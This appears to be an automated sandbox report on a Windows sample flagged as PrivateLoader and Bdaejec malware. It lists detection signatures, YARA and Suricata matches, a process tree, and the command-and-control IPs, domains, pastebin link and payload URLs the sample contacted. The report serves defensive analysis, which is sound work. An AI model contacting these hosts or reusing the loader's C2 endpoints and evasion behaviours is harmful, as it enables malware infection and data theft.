Edit tour

Windows Analysis Report
611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe

Overview

General Information

Sample name:	611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe
Analysis ID:	1480302
MD5:	5ae2c7e495880d7e209a41158fd72984
SHA1:	f2bd4549f77a5c6af49259b60caf937b31decbf0
SHA256:	9664f55603f168dc5f7ac498789f5275b2c64fb5ad1bc7c185944421bd5a8777
Tags:	exe
Infos:

Detection

Bdaejec, PrivateLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Yara detected Bdaejec

Yara detected PrivateLoader

AI detected suspicious sample

Connects to a pastebin service (likely for C&C)

Infects executable files (exe, dll, sys, html)

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

PE file has a writeable .text section

AV process strings found (often used to terminate AV products)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found decision node followed by non-executed suspicious APIs

Found dropped PE file which has not been started or loaded

Found evasive API chain (date check)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Installs a raw input device (often for capturing keystrokes)

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses the system / local time for branch decision (may execute only at specific dates)

Yara signature match

Classification

Process Tree

System is w10x64

611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe (PID: 3792 cmdline: "C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe" MD5: 5AE2C7E495880D7E209A41158FD72984)

vXQpuA.exe (PID: 5064 cmdline: C:\Users\user\AppData\Local\Temp\vXQpuA.exe MD5: F7D21DE5C4E81341ECCD280C11DDCC9A)

WerFault.exe (PID: 1220 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5064 -s 1392 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
PrivateLoader	According to sekoia, PrivateLoader is a modular malware whose main capability is to download and execute one or several payloads. The loader implements anti-analysis techniques, fingerprints the compromised host and reports statistics to its C2 server.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://any.run/cybersecurity-blog/privateloader-analyzing-the-encryption-and-decryption-of-a-modern-loader/ https://bitsight.com/blog/unveiling-socks5systemz-rise-new-proxy-service-privateloader-and-amadey https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.sekoia.io/traffers-a-deep-dive-into-the-information-stealer-ecosystem	https://malpedia.caad.fkie.fraunhofer.de/details/win.privateloader

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	JoeSecurity_PrivateLoader	Yara detected PrivateLoader	Joe Security
611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	MALWARE_Win_DLInjector06	Detects downloader / injector	ditekSHen	0x586f0:$s1: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 0x58218:$s2: Content-Type: application/x-www-form-urlencoded 0x58280:$s2: Content-Type: application/x-www-form-urlencoded 0x582e8:$s2: Content-Type: application/x-www-form-urlencoded 0x58350:$s2: Content-Type: application/x-www-form-urlencoded 0x583b8:$s2: Content-Type: application/x-www-form-urlencoded 0x58420:$s2: Content-Type: application/x-www-form-urlencoded 0x58488:$s2: Content-Type: application/x-www-form-urlencoded 0x58518:$s2: Content-Type: application/x-www-form-urlencoded 0x584ec:$s3: https://ipinfo.io/ 0x5857c:$s4: https://db-ip.com/ 0x585d8:$s5: https://www.maxmind.com/en/locate-my-ip-address 0x585a4:$s6: https://ipgeolocation.io/ 0x586e4:$s7: POST

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_PrivateLoader	Yara detected PrivateLoader	Joe Security
00000000.00000000.2033107820.0000000000311000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_PrivateLoader	Yara detected PrivateLoader	Joe Security
Process Memory Space: vXQpuA.exe PID: 5064	JoeSecurity_Bdaejec	Yara detected Bdaejec	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe.310000.0.unpack	JoeSecurity_PrivateLoader	Yara detected PrivateLoader	Joe Security
0.0.611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe.310000.0.unpack	MALWARE_Win_DLInjector06	Detects downloader / injector	ditekSHen	0x586f0:$s1: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 0x58218:$s2: Content-Type: application/x-www-form-urlencoded 0x58280:$s2: Content-Type: application/x-www-form-urlencoded 0x582e8:$s2: Content-Type: application/x-www-form-urlencoded 0x58350:$s2: Content-Type: application/x-www-form-urlencoded 0x583b8:$s2: Content-Type: application/x-www-form-urlencoded 0x58420:$s2: Content-Type: application/x-www-form-urlencoded 0x58488:$s2: Content-Type: application/x-www-form-urlencoded 0x58518:$s2: Content-Type: application/x-www-form-urlencoded 0x584ec:$s3: https://ipinfo.io/ 0x5857c:$s4: https://db-ip.com/ 0x585d8:$s5: https://www.maxmind.com/en/locate-my-ip-address 0x585a4:$s6: https://ipgeolocation.io/ 0x586e4:$s7: POST
0.2.611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe.310000.0.unpack	JoeSecurity_PrivateLoader	Yara detected PrivateLoader	Joe Security
0.2.611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe.310000.0.unpack	MALWARE_Win_DLInjector06	Detects downloader / injector	ditekSHen	0x586f0:$s1: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 0x58218:$s2: Content-Type: application/x-www-form-urlencoded 0x58280:$s2: Content-Type: application/x-www-form-urlencoded 0x582e8:$s2: Content-Type: application/x-www-form-urlencoded 0x58350:$s2: Content-Type: application/x-www-form-urlencoded 0x583b8:$s2: Content-Type: application/x-www-form-urlencoded 0x58420:$s2: Content-Type: application/x-www-form-urlencoded 0x58488:$s2: Content-Type: application/x-www-form-urlencoded 0x58518:$s2: Content-Type: application/x-www-form-urlencoded 0x584ec:$s3: https://ipinfo.io/ 0x5857c:$s4: https://db-ip.com/ 0x585d8:$s5: https://www.maxmind.com/en/locate-my-ip-address 0x585a4:$s6: https://ipgeolocation.io/ 0x586e4:$s7: POST

Suricata Signatures

ETPRO MALWARE Backdoor.Win32/Bdaejec.A CnC Domain in DNS Lookup - Source IP: 192.168.2.5 - Destination IP: 1.1.1.1

Timestamp:	2024-07-24T17:26:53.131145+0200
SID:	2838522
Source Port:	60858
Destination Port:	53
Protocol:	UDP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Backdoor.Win32/Bdaejec.A CnC Domain in DNS Lookup - Source IP: 192.168.2.5 - Destination IP: 1.1.1.1

Timestamp:	2024-07-24T17:26:51.124380+0200
SID:	2838522
Source Port:	60858
Destination Port:	53
Protocol:	UDP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Backdoor.Win32/Bdaejec.A CnC Domain in DNS Lookup - Source IP: 192.168.2.5 - Destination IP: 1.1.1.1

Timestamp:	2024-07-24T17:26:52.119126+0200
SID:	2838522
Source Port:	60858
Destination Port:	53
Protocol:	UDP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Observed DNS Query to RisePro Domain (softs-portal .com) - Source IP: 192.168.2.5 - Destination IP: 1.1.1.1

Timestamp:	2024-07-24T17:27:38.899025+0200
SID:	2043080
Source Port:	52169
Destination Port:	53
Protocol:	UDP
Classtype:	Malware Command and Control Activity Detected

HTTP traffic detected: POST /service/communication.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Content-Length: 25Host: 212.193.30.21

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 24 Jul 2024 15:27:37 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closex-frame-options: DENYx-frame-options: DENYx-content-type-options: nosniffx-content-type-options: nosniffx-xss-protection: 1;mode=blockx-xss-protection: 1;mode=blockcache-control: public, max-age=1801CF-Cache-Status: MISSServer: cloudflareCF-RAY: 8a84ef70ddba72ab-EWR
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 24 Jul 2024 15:27:38 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: keep-aliveCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8HEB0ODgbQzdwXbrO%2Fmpcx54rLT3TkSjyztoRT9GMG4OZ5uvC42Wh%2FHFnkCtG3M1maOMLwGfOWQirUg6Hnn8v1vkJfbpuzpi%2F3vDyLzjPstrI%2FskReRpENmzfzUQepU%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8a84ef7a1d151a30-EWRalt-svc: h3=":443"; ma=86400Data Raw: 34 36 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 61 38 34 65 66 37 61 31 64 31 35 31 61 33 30 27 2c 74 3a 27 4d 54 63 79 4d 54 67 7a 4e 44 67 31 4f 43 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 20 61 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 61 2e 6e 6f 6e 63 65 3d 27 27 3b 61 2e 73 72 63 3d 27 2f 63 64 6e 2d 63 67 69 2f 63 68 61 6c 6c 65 6e 67 65 2d 70 6c 61 74 66 6f 72 6d 2f 73 63 72 69 70 74 73 2f 6a 73 64 2f 6d 61 69 6e 2e 6a 73 27 3b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 27 68 65 61 64 27 29 5b 30 5d 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 61 29 3b 22 3b 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 27 68 65 61 64 27 29 5b 30 5d 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 64 29 7d 7d 69 66 28 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 29 7b 76 61 72 20 61 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 Data Ascii: 46e<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8a84ef7a1d151a30',t:'MTcyMTgzNDg1OC4wMDAwMDA='};var a=document.createElement('script');a.nonce='';a.sr

Source: vXQpuA.exe, 00000001.00000002.2257362941.0000000000613000.00000002.00000001.01000000.00000004.sdmp, vXQpuA.exe, 00000001.00000003.2034288446.0000000000A40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://%s:%d/%s/%sZwQuerySystemInformationntdll.dllNtSystemDebugControlSeDebugPrivilege%s%.8x.bat:DE
Source: 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000002.3286736589.0000000000D0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://212.193.30.21/
Source: 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000002.3286736589.0000000000CCF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://212.193.30.21/Corporation1
Source: 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000002.3286736589.0000000000CCF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://212.193.30.21/hp
Source: 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000002.3286736589.0000000000CCF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://212.193.30.21/hp0
Source: 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000002.3286736589.0000000000C5B000.00000004.00000020.00020000.00000000.sdmp, 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000002.3286736589.0000000000C47000.00000004.00000020.00020000.00000000.sdmp, 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000002.3286736589.0000000000CCF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://212.193.30.21/service/communication.php
Source: 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000002.3286736589.0000000000C5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://212.193.30.21/service/communication.php$
Source: 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000002.3286736589.0000000000CCF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://212.193.30.21/service/communication.php0
Source: 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000002.3286736589.0000000000CCF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://212.193.30.21/service/communication.phpK
Source: 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000002.3286736589.0000000000D06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://212.193.30.21/service/communication.phpk_
Source: 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000002.3286736589.0000000000C1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://212.193.30.21:80/service/communication.php
Source: 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000002.3286736589.0000000000C5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://212.193.30.29/
Source: 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000002.3286736589.0000000000C5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://212.193.30.29/server.txt
Source: 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000002.3286736589.0000000000C5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://212.193.30.45/
Source: 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000002.3286736589.0000000000C5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://212.193.30.45/proxies.txt
Source: 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000002.3286736589.0000000000C5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://212.193.30.45/proxies.txtE
Source: 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000003.2048824800.0000000000C7C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.m
Source: vXQpuA.exe, 00000001.00000002.2257628282.0000000000D43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net/
Source: vXQpuA.exe, 00000001.00000002.2257628282.0000000000D43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rar
Source: vXQpuA.exe, 00000001.00000002.2257628282.0000000000D43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rar&
Source: vXQpuA.exe, 00000001.00000002.2257628282.0000000000D43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rar0
Source: vXQpuA.exe, 00000001.00000002.2257628282.0000000000D15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rarDownloadManager
Source: vXQpuA.exe, 00000001.00000002.2257628282.0000000000D43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rarI
Source: vXQpuA.exe, 00000001.00000002.2257628282.0000000000D43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rarW
Source: vXQpuA.exe, 00000001.00000002.2257628282.0000000000D43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rare
Source: vXQpuA.exe, 00000001.00000002.2257628282.0000000000CCE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rarras
Source: vXQpuA.exe, 00000001.00000002.2257628282.0000000000D43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rarx
Source: Amcache.hve.5.dr	String found in binary or memory: http://upx.sf.net
Source: 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000002.3286736589.0000000000CCF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://wfsdragon.ru/
Source: 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000002.3286736589.0000000000CCF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://wfsdragon.ru/api/setStats.php
Source: 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000002.3286736589.0000000000C5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://wfsdragon.ru:80/api/setStats.php
Source: SciTE.exe.1.dr	String found in binary or memory: http://www.activestate.com
Source: SciTE.exe.1.dr	String found in binary or memory: http://www.activestate.comHolger
Source: SciTE.exe.1.dr	String found in binary or memory: http://www.baanboard.com
Source: SciTE.exe.1.dr	String found in binary or memory: http://www.baanboard.comBrendon
Source: SciTE.exe.1.dr	String found in binary or memory: http://www.develop.com
Source: SciTE.exe.1.dr	String found in binary or memory: http://www.develop.comDeepak
Source: SciTE.exe.1.dr	String found in binary or memory: http://www.lua.org
Source: 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000003.2048824800.0000000000C7C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.co
Source: SciTE.exe.1.dr	String found in binary or memory: http://www.rftp.com
Source: SciTE.exe.1.dr	String found in binary or memory: http://www.rftp.comJosiah
Source: SciTE.exe.1.dr	String found in binary or memory: http://www.scintilla.org
Source: SciTE.exe.1.dr	String found in binary or memory: http://www.scintilla.org/scite.rng
Source: SciTE.exe.1.dr	String found in binary or memory: http://www.spaceblue.com
Source: SciTE.exe.1.dr	String found in binary or memory: http://www.spaceblue.comMathias
Source: 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000003.2048753029.0000000000CB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://core.telegram.org/api
Source: 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	String found in binary or memory: https://db-ip.com/
Source: 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	String found in binary or memory: https://db-ip.com/https://ipgeolocation.io/https://www.maxmind.com/en/locate-my-ip-addresstype
Source: 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	String found in binary or memory: https://ipgeolocation.io/
Source: 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	String found in binary or memory: https://ipinfo.io/
Source: 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	String found in binary or memory: https://ipinfo.io/Content-Type:
Source: vXQpuA.exe, 00000001.00000002.2257628282.0000000000D43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000002.3286736589.0000000000C5B000.00000004.00000020.00020000.00000000.sdmp, 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000002.3286736589.0000000000C47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/A7dSG1te
Source: 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000002.3286736589.0000000000C5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/~
Source: 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000002.3286736589.0000000000C47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com:443/raw/A7dSG1te
Source: 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000002.3286736589.0000000000CCF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://softs-portal.com/
Source: 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000002.3286736589.0000000000CCF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://softs-portal.com/api/registerUser.php
Source: 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000002.3286736589.0000000000C5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://softs-portal.com/api/registerUser.phpg
Source: 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000002.3286736589.0000000000C1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://telegram.org/
Source: 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000002.3286736589.0000000000C1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://telegram.org/J
Source: 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000003.2048753029.0000000000CB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://telegram.org/file/400780400026/1/xwmW8Qofk5M.263566/16218cb12e7549e76b
Source: 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000002.3286736589.0000000000C1E000.00000004.00000020.00020000.00000000.sdmp, 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000003.2048753029.0000000000CB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://telegram.org/file/400780400431/1/-u0XrknOtfw.232636/60f98efd626b95d010
Source: 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000002.3286736589.0000000000C5B000.00000004.00000020.00020000.00000000.sdmp, 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000003.2048824800.0000000000C7C000.00000004.00000020.00020000.00000000.sdmp, 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000003.2048753029.0000000000CB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://telegram.org/img/t_logo.png
Source: 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000002.3286736589.0000000000C5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://telegram.org:443/P7
Source: 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000003.2048753029.0000000000CB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/telegram
Source: 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	String found in binary or memory: https://www.maxmind.com/en/locate-my-ip-address
Source: SciTE.exe.1.dr	String found in binary or memory: https://www.smartsharesystems.com/
Source: SciTE.exe.1.dr	String found in binary or memory: https://www.smartsharesystems.com/Morten

Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724

Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.4.235:443 -> 192.168.2.5:49724 version: TLS 1.2

Source: SciTE.exe.1.dr

Binary or memory string: _winapi_getrawinputdata _winapi_getrawinputdeviceinfo _winapi_getregiondata _winapi_getregisteredrawinputdevices \

memstr_5eb72636-5

System Summary

Malicious sample detected (through community Yara rule)

Source: 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, type: SAMPLE	Matched rule: Detects downloader / injector Author: ditekSHen
Source: 0.0.611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe.310000.0.unpack, type: UNPACKEDPE	Matched rule: Detects downloader / injector Author: ditekSHen
Source: 0.2.611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe.310000.0.unpack, type: UNPACKEDPE	Matched rule: Detects downloader / injector Author: ditekSHen

PE file contains section with special chars

Source: MyProg.exe.1.dr

Static PE information: section name: Y|uR

PE file has a writeable .text section

Source: vXQpuA.exe.0.dr

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

